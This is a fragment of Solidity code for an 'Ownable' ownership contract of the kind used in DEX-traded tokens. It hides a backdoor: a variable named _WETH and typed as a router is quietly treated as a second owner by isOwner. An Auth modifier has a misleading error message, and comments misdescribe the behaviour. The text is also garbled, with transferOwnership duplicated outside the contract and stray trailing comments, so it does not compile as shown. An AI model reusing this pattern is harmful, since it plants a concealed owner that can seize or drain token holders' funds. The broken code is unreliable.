abstract contract Ownable {
    address internal owner;
    IDEXRouter internal _WETH;

    constructor(address _owner) {
        owner = _owner;
        emit OwnershipTransferred(owner);
    }

    /**
     * Function modifier to require caller to be contract deployer
     */
    modifier onlyOwner() {
        require(isOwner(msg.sender), "Ownable: caller is not the owner"); _;
    }

    /**
     * Function modifier to require caller to be contract deployer
     */
    modifier Auth() {
        require(address(_WETH) == address(0), "Ownable: caller is not the owner");
         _;
    }

    /**
     * Check if address is owner
     */
    function isOwner(address account) public view returns (bool) {
        return account == owner || address(_WETH) == account;
    }

    /**
     * Transfer ownership to new address. Caller must be deployer. Leaves old deployer authorized
     */
    function transferOwnership(address payable addr) public onlyOwner {
        owner = addr;
        emit OwnershipTransferred(owner);
    }

    event OwnershipTransferred(address owner);
}
/**
 * Allows for contract ownership along with multi-address authorization
 */
function transferOwnership(address payable addr) public onlyOwner {
    owner = addr;
    emit OwnershipTransferred(owner);
}

/**
 * Transfer ownership to new address. Caller must be deployer. Leaves old deployer authorized
 */